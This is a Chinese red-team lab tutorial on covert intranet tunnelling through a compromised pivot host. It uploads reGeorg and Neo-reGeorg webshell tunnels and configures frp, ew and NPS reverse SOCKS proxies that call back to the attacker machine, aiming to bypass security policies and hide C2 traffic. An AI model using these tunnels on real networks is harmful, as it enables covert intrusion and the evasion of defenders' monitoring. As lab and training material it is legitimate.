红队攻防实战之内网穿透隐秘隧道搭建

别低头,皇冠会掉;别流泪,贱人会笑。

本文首发于先知社区,原创作者即是本人

0x00 前言

构建内网隐蔽通道,从而突破各种安全策略限制,实现对目标服务器的完美控制。
当我们从外网成功获得攻击点的时候,通过反弹shell、端口转发、内网穿透等技巧,来进一步入侵内网服务器。当我们取得内网目标服务器的控制权限,通过隧道技术绕过网络限制,实现隐蔽C2服务器的通信。

网络拓扑:

在这里插入图片描述

网络配置IP如下:

攻击机:
win10:192.168.1.6
kali:192.168.1.7

靶场:
VM1:对外边界服务器,win7
192.168.52.143
192.168.1.5

VM2:域成员,2003
192.168.52.141

VM3:域控,2008
192.168.52.138

0x01 reGeorge

1.1 环境

攻击机kali
reGeorge软件,下载:https://github.com/sensepost/reGeorg
运行程序需要的环境:
Python、pip、urllib3;

1.2 部署配置

上传tunnel.nosocket.php
前提条件,已获得跳板机的权限(都打到内网了,跳板机的权限肯定获得了),server-bt系统的跳板机是php环境,将reGeorge中的tunnel.nosocket.php上传至网站

在这里插入图片描述

并访问http://192.168.1.5/tunnel.nosocket.php
访问成功

在这里插入图片描述

启动reGeorg
python reGeorgSocksProxy.py -p 1090 -u http://192.168.1.5/tunnel.nosocket.php
表示本地1090端口的流量都转发给指定的那个url,1090是指定的监听端口;

在这里插入图片描述

配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf,将代理设置成本机的1090端口:socks5 127.0.0.1 1090

在这里插入图片描述

1.3 测试

命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php)
proxychains curl http://192.168.52.143

在这里插入图片描述

reGeorg控制端

在这里插入图片描述

0x02 Neo-reGeorg

1.1 使用

设置密码并生成隧道文件,运行后会生成一个neoreg_server目录,里面包含了各种语言类型的隧道文件

$ python3 neoreg.py generate -k <password>
[+] Create neoreg server files:
    => neoreg_server/key.txt.   # 密码
    => neoreg_server/tunnel.nosocket.php
    => neoreg_server/tunnel.js
    => neoreg_server/tunnel.php
    => neoreg_server/tunnel.ashx
    => neoreg_server/tunnel.aspx
    => neoreg_server/tunnel.tomcat.5.jsp
    => neoreg_server/tunnel.tomcat.5.jspx
    => neoreg_server/tunnel.jsp
    => neoreg_server/tunnel.jspx

python3 neoreg.py generate -k jdxyxd

在这里插入图片描述

1.2 部署配置

上传tunnel.php
前提条件,已获得跳板机的权限(都打到内网了,跳板机的权限肯定获得了),server-bt系统的跳板机是php环境,将reGeorge中的tunnel.php上传至网站

在这里插入图片描述

并访问http://192.168.1.5/tunnel.php
访问成功

在这里插入图片描述

启动Neo-reGeorg
python3 neoreg.py -k jdxyxd -u http://192.168.1.5/tunnel.php #表示本地1080端口的流量都转发给指定的那个url,1080是指定的监听端口;

在这里插入图片描述

配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf,将代理设置成本机的1080端口:socks5 127.0.0.1 1080

在这里插入图片描述

1.3 测试

命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php)
proxychains curl http://192.168.52.143

在这里插入图片描述

0x03 frp

软件:frp_0.33.0_windows_amd64 ,frp_0.34.1_linux_amd64
代理工具Proxifier(windows下通常用可视化的proxifier、SocksCap64,Linux在proxychains设置)

1.1 攻击机为windows环境

frp的Socks5反向代理:
(HTTP反向代理修改plugin模块和proxifier代理类型即可)
攻击机-服务端:
设置frps.ini

[common] 
bind_port = 7000

在这里插入图片描述

然后运行
frps.exe -c frps.ini

在这里插入图片描述

跳板机-客户端:server_addr为攻击机IP
设置frpc.ini

[common] 
server_addr = 192.168.1.6
server_port = 7000 

[socks5] 
type = tcp 
remote_port = 8010 
plugin = socks5

在这里插入图片描述

然后运行
frpc.exe -c frpc.ini

在这里插入图片描述

SwitchyOmega配置

在这里插入图片描述

浏览器访问192.168.52.143 访问成功

在这里插入图片描述

proxifier配置

在这里插入图片描述

浏览器访问192.168.52.143 访问成功

在这里插入图片描述

0x04 ew

1.1 攻击机为kali环境

ew正向代理

1.正向连接跳板机在win7机器上执行(ew_for_windows上传到跳板机)
ew_for_win_32.exe -s ssocksd -l 1090

在这里插入图片描述

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf socks5 192.168.1.5 1090

在这里插入图片描述

测试执行:
proxychains curl http://192.168.52.143/

在这里插入图片描述

ew反向代理

服务端-攻击机kali
执行:
./ew_for_linux -s rcsocks -l 1080 -e 1024

在这里插入图片描述

客户端-跳板机
执行
ew.exe -s rssocks -d 192.168.1.7 -e 1024

在这里插入图片描述

配置proxychains代理链
在配置文件/etc/proxychains.conf,
将代理设置成本机的1080端口(root用户修改):

在这里插入图片描述

测试执行:
proxychains curl http://192.168.52.143/

在这里插入图片描述

0x05 NPS隐秘隧道搭建

1)建立连接

此场景攻击机使用Kali,在攻击机运行命令“./nps install”安装服务端,如图所示。

在这里插入图片描述

运行命令“nps start”启动服务端,如图所示。

在这里插入图片描述

通过8080端口访问服务端的Web界面,如图所示。

http://192.168.1.7:8080

在这里插入图片描述

输入默认用户名、密码admin、123登录,登录后可以看到默认客户端连接端口为8024,登录后的Web界面如图所示。

在这里插入图片描述

添加客户端,如图所示,配置唯一验证密钥,验证密钥在从客户端连接到服务端时使用,此处配置为“any”,然后开启压缩和加密传输。

在这里插入图片描述

最后在边界主机运行命令“npc.exe -server=192.168.1.7:8024 -vkey=any”来连接服务端,建立连接如图所示。

在这里插入图片描述

连接成功后在攻击机的Web界面可看到客户端上线,如图所示。

在这里插入图片描述

2)TCP隧道

客户端上线后便可以通过Web界面单击上线的客户端、查看选项、配置隧道,例如,若想访问内网主机的3389端口,则可通过TCP隧道将内网主机的3389端口映射到攻击机的1111端口,单击“新增”,配置目标“192.168.52.143:3389”,配置服务端口为“1111”,TCP隧道如图所示。

在这里插入图片描述

TCP隧道建立成功后,即可通过连接攻击机的1111端口来连接内网主机的远程桌面,在攻击机运行命令“rdesktop 192.168.1.7:1111”连接本地的1111端口,隧道的使用如图所示。

在这里插入图片描述

3)SOCKS5代理

若想搭建HTTP代理或SOCKS代理,只需选择对应模式,填写服务端端口即可,以SOCKS为例,选择模式为“SOCKS代理”,如图所示,服务端端口为“1234”。

在这里插入图片描述

配置好SOCKS代理后,便可使用攻击机192.168.1.7的1234端口访问内网,配置代理服务器

在这里插入图片描述

访问内网主机站点http://192.168.52.143/
使用代理如图所示。

在这里插入图片描述

或者配置proxifier

在这里插入图片描述

访问内网主机站点http://192.168.52.143/

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/182614.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【LeetCode】挑战100天 Day13(热题+面试经典150题)

【LeetCode】挑战100天 Day13&#xff08;热题面试经典150题&#xff09; 一、LeetCode介绍二、LeetCode 热题 HOT 100-152.1 题目2.2 题解 三、面试经典 150 题-153.1 题目3.2 题解 一、LeetCode介绍 LeetCode是一个在线编程网站&#xff0c;提供各种算法和数据结构的题目&…

ComfyUI搭建使用教程

ComfyUI 是一个基于节点流程式的stable diffusion AI 绘图工具WebUI&#xff0c; 你可以把它想象成集成了stable diffusion功能的substance designer&#xff0c; 通过将stable diffusion的流程拆分成节点&#xff0c;实现了更加精准的工作流定制和完善的可复现性。但节点式的工…

STM32F103C8T6第6天:adc、iic、spi、温湿度dht11在lcd1602显示

1. ADC介绍 ADC是什么&#xff1f; Analog-to-Digital Converter&#xff0c;指模拟/数字转换器 ADC的性能指标 量程&#xff1a;能测量的电压范围分辨率&#xff1a;ADC能辨别的最小模拟量&#xff0c;通常以输出二进制数的位数表示&#xff0c;比如&#xff1a;8、10、1…

人工智能:一种现代的方法 第十四章 概率推理

文章目录 人工智能&#xff1a;一种现代的方法 第十四章 概率推理本章前言14.1 不确定性问题域中的知识表示14.1.1 联合概率分布14.1.2贝叶斯网络 14.2 贝叶斯网络的语义14.2.1表示联合概率分布14.2.2 紧致性14.2.3 节点排序14.2.4 贝叶斯网络中的条件独立关系14.3 条件分布的有…

div中添加el-loading(局部loading的使用)

效果&#xff1a;在div中实现el-loading <div class"content-main">{{ hotList }}</div>getHotList(columnType) {this.$nextTick(() > {var loading this.$loading({lock: true,text: "努力加载中...",spinner: "el-icon-loading&qu…

【LeetCode刷题-回溯】-- 47.全排列II

47.全排列II 主要需要解决全排列不重复的问题&#xff0c;设定一个规则&#xff0c;保证在填第i个数的时候重复数字只会被填入一次即可&#xff0c;而在本题中&#xff0c;我们选择对原数组排序&#xff0c;保证相同的数字都相邻&#xff0c;然后每次填入的数一定是这个数所在重…

【深度学习】参数优化和训练技巧

寻找合适的学习率(learning rate) 学习率是一个非常非常重要的超参数&#xff0c;这个参数呢&#xff0c;面对不同规模、不同batch-size、不同优化方式、不同数据集&#xff0c;其最合适的值都是不确定的&#xff0c;我们无法光凭经验来准确地确定lr的值&#xff0c;我们唯一可…

问答知识库快速构建技术解析及行业实践

对话式 AI 类产品&#xff0c;已经在各行各业中实现规模化的应用。随着科技创新支撑下的高质量行业发展&#xff0c;人工智能已成为数字经济时代的核心生产力。其中对话式 AI&#xff0c;作为人工智能技术的一个分支&#xff0c;随着深度学习、预训练模型等技术的突破&#xff…

程序员接单,宝藏好平台抄底攻略清单!五大平台精选。

前阵子”双十一“购物节狂欢促销&#xff0c;各种好货清单席卷而来。 程序员购不购物我不知道&#xff0c;但是这个兼职、接单清单相信你一定用得着。 搜罗海量信息&#xff0c;整理大量数据与评价&#xff0c;挖出了5个宝藏平台&#xff0c;绝对个个精选&#xff0c;保证量大…

Python函数式编程:让你的代码更优雅更简洁

概要 函数式编程&#xff08;Functional Programming&#xff09;是一种编程范式&#xff0c;它将计算视为函数的求值&#xff0c;并且避免使用可变状态和循环。 函数式编程强调的是函数的计算&#xff0c;而不是它的副作用。 在函数式编程中&#xff0c;函数是第一类公民&a…

IDEA设置方法注释模板

目录 一.打开设置&#xff1a;File—>Settings... 二.选择Live Templates—>点击右侧 "" 号—>选择Template Group... 三.输入组名称&#xff0c;建议取容易理解的名字&#xff0c;点击OK 四.选中创建好的组&#xff0c;再次点击 "" 号&#…

二十三、RestClient操作索引库

目录 例&#xff1a;利用JavaRestClient实现创建、删除索引库&#xff0c;判断索引库是否存在 1、编写mapping映射 2、初始化JavaRestClient &#xff08;1&#xff09;导入elasticsearch的依赖 &#xff08;2&#xff09;修改elasticsearch的版本 &#xff08;3&#xf…

企业必看的大数据安全极速传输解决方案

在这个大数据时代&#xff0c;企业在享受大数据带来的便利同时&#xff0c;也面临着巨大的挑战&#xff0c;其中最主要的问题就是数据安全方面和传输方面&#xff0c;为了更好地满足企业大数据传输的需求&#xff0c;小编将深入分析企业对于大数据传输面临的挑战和风险以及大数…

飞翔的鸟游戏

一.准备工作 首先创建一个新的Java项目命名为“飞翔的鸟”&#xff0c;并在src中创建一个包命名为“com.qiku.bird"&#xff0c;在这个包内分别创建4个类命名为“Bird”、“BirdGame”、“Column”、“Ground”&#xff0c;并向需要的图片素材导入到包内。 二.代码呈现 pa…

Speaker Verification,声纹验证详解——语音信号处理学习(九)

参考文献&#xff1a; Speaker Verification哔哩哔哩bilibili 2020 年 3月 新番 李宏毅 人类语言处理 独家笔记 声纹识别 - 16 - 知乎 (zhihu.com) (2) Meta Learning – Metric-based (1/3) - YouTube 如何理解等错误率(EER, Equal Error Rate)&#xff1f;请不要只给定义 - 知…

docker部署微服务

目录 docker操作命令 镜像操作命令 拉取镜像 导出镜像 删除镜像 加载镜像 推送镜像 部署 pom文件加上 在每个模块根目录加上DockerFile文件 项目根目录加上docker-compose.yml文件 打包&#xff0c;clean&#xff0c;package 服务器上新建文件夹 测试docker-compo…

C#中的迭代器和分部类

目录 一、迭代器 1.示例源码 2.生成效果&#xff1a; 二、分部类 1.示例源码 2.生成效果 迭代器在集合类中经常使用&#xff0c;而分部类则提供了一种将一个类分成多个类的方法&#xff0c;这对于有大量代码的类非常实用。 一、迭代器 迭代器是可以返回相同类型的值的有…

unreal 指定windows SDK

路径 &#xff1a; “C:\Users\Administrator\AppData\Roaming\Unreal Engine\UnrealBuildTool\BuildConfiguration.xml” 在Configuration中添加 <WindowsPlatform><WindowsSdkVersion>10.0.20348.0</WindowsSdkVersion></WindowsPlatform>示例&…

Android二维码扫描开源库 - BGAQRCode-Android

目录 ● 功能介绍 ● 常见问题 ● 效果图与示例 apk ● Gradle 依赖 ● 布局文件 ● 自定义属性说明 ● 接口说明 ● 下载源码 功能介绍 根据之前公司的产品需求&#xff0c;参考 barcodescanner 改的&#xff0c;希望能帮助到有生成二维码、扫描二维码、识别图片二维码等需求…

【Vue】插值表达式

作用&#xff1a;利用表达式进行插值渲染 语法&#xff1a;{ { 表达式 } } 目录 案例一&#xff1a; 案例二&#xff1a; 案例三&#xff1a; ​编辑 注意&#xff1a; 案例一&#xff1a; <!DOCTYPE html> <html lang"en"> <head><me…
最新文章